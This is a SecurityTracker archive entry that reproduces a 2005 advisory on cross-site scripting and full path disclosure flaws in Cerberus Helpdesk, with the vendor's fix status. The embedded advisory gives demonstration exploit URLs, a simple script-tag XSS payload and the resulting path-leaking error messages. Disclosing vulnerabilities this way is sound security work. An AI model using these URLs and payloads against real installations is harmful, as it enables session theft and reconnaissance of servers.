Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Cerberus Helpdesk Input Validation Holes Permit Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1014128
|
|
SecurityTracker URL: http://securitytracker.com/id?1014128
|
|
CVE Reference: CVE-2005-1962
, CVE-2005-1963
(Links to External Site)
|
Updated: Nov 2 2008
|
Original Entry Date: Jun 8 2005
|
Impact: Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
|
Version(s): 0.97.3 - 2.6.1
|
Description: Dedi Dwianto from echo.or.id reported a vulnerability in Cerberus Helpdesk. A remote user can conduct cross-site scripting attacks. A remote user can also determine the installation path.
The software does not properly validate user-supplied input in the 'errorcode' parameter. A remote user can create a specially crafted
URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code
will originate from the site running the Cerberus Helpdesk software and will run in the security context of that site. As a result,
the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site,
access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A
demonstration exploit URL is provided:
http://[target]/cerberus/index.php?errorcode=[Xss]&errorvalue=4&sid=[sessionid]
The
input field in 'clients.php?mode=c_view&id=[id]&sid=[id]' is also affected.
A remote user can supply a specially crafted URL
to cause the system to disclose the installation path. Some demonstration exploit URLs are provided:
http://[target]/cerberus/reports.php?report=1dudul&sid=f1944ec07b
cbab62f52bbd5b00334e75
http://[target]/cerberus/knowledgebase.php?root=1&sid=f215cf14a3c0df908cf8bdf8a99c2a84
http://[target]/cerberus/configuration.php?module=kbas
e_comments&sid=f215cf14a3c0df908cf8bdf8a99c2a84
The original advisory is available at:
http://echo.or.id/adv/adv15-theday-2005.txt
|
Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
Cerberus Helpdesk software, access data recently submitted by the target user via web form to the site, or take actions on the site
acting as the target user.
A remote user can determine the installation path.
|
Solution: The vendor has issued a fix for the cross-site scripting vulnerability, available via CVS and planned for inclusion in the next release.
The
vendor's discussion of the bug is available at:
http://forum.cerberusweb.com/showthread.php?threadid=5162&goto=newpost
|
Vendor URL: www.cerberusweb.com/ (Links to External Site)
|
Cause: Access control error, Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: "Dedi Dwianto" <the_day@echo.or.id>
|
Message History:
None.
|
Source Message Contents
|
Date: Tue, 7 Jun 2005 19:44:46 -0500 (CDT)
From: "Dedi Dwianto" <the_day@echo.or.id>
Subject: [ECHO_ADV_15$2005] Full path disclosure and XSS in Cerberus
|
---------------------------------------------------------------------------
[ECHO_ADV_15$2005] Full path disclosure and XSS in Cerberus Helpdesk
---------------------------------------------------------------------------
Author: Dedi Dwianto
Date: June, 07th 2005
Location: Indonesia, Jakarta
Web: http://echo.or.id/adv/adv15-theday-2005.txt
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Cerberus Helpdesk
version: >0.97.3
url : http://www.cerberusweb.com
Author: WebGroup Media, LLC
Description:
Cerberus Helpdesk is script write in php for manage customer support create
by WebGroup Media.Cerberus Helpdesk, handles mission critical e-mail
management
for over 4,000 companies worldwide -- from one-person startups to Fortune
500 giants.
But I Found Vulnarable XSS and FUll Path disclosure for that.
---------------------------------------------------------------------------
Vulnerabilities:
~~~~~~~~~~~~~~~~
A. Full path disclosure
* http://localhost/cerberus/reports.php?report=1[char]&sid=[session id]
ex :
http://localhost/cerberus/reports.php?report=1dudul&sid=f1944ec07bcbab62f52bbd5b00334e75
Error :
Cerberus [Errno: 2]:
build_report(/var/www/html/cerberus/includes/reports/):
failed to open stream: Success in
/var/www/html/cerberus/cerberus-api/reports/cer_Report.class.php at
line 197.
* http://localhost/cerberus/knowledgebase.php?root=1&sid=[session id]
ex :
http://localhost/cerberus/knowledgebase.php?root=1&sid=f215cf14a3c0df908cf8bdf8a99c2a84
Error :
Fatal error: Allowed memory size of 33554432 bytes exhausted at
(null):0 (tried to allocate 12 bytes) in
/var/www/html/cerberus/includes/s/functions/error_trapping.php on
line 26
*
http://localhost/cerberus/configuration.php?module=kbase_comments&sid=[session
id]
ex :
http://localhost/cerberus/configuration.php?module=kbase_comments&sid=f215cf14a3c0df908cf8bd
f8a99c2a84
Error :
Fatal error: Allowed memory size of 34603016 bytes exhausted at
(null):0 (tried to allocate 110 bytes)
in
/var/www/html/cerberus/cerberus-api/knowledgebase/cer_KnowledgebaseTree.class.php
on line 183
B. Cross Site Scripting / XsS
*
http://localhost/cerberus/index.php?errorcode=[Xss]&errorvalue=4&sid=[session
id]
* http://localhost/cerberus/clients.php?mode=c_view&id=[id]&sid=[id]
User can input html tag into field and can execute
<script>alert('document.cookie')</script>
C. Solution
Vendor Response :
http://forum.cerberusweb.com/showthread.php?threadid=5162&goto=newpost
---------------------------------------------------------------------------
Shoutz:
~~~~~~~
~ y3dips, moby, comex, z3r0byt3, K-159, c-a-s-e, S`to, lirva32, anonymous
~ Lieur Euy , MSR
~ newbie_hacker@yahoogroups.com ,
~ #e-c-h-o@DALNET
---------------------------------------------------------------------------
Contact:
~~~~~~~~
the_day || echo|staff || the_day[at]echo[dot]or[dot]id
Homepage: http://theday.echo.or.id/
-------------------------------- [ EOF ] ----------------------------------
--
thx
__ .__ .___
_/ |_| |__ ____ __| _/____ ___.__.
\ __\ | \_/ __ \ / __ |\__ \< | |
| | | Y \ ___/ / /_/ | / __ \\___ |
|__| |___| /\___ >____\____ |(____ / ____|
\/ \/_____/ \/ \/\/
http://theday.echo.or.id
== Learning By Doing ==
|
|
Go to the Top of This SecurityTracker Archive Page
|
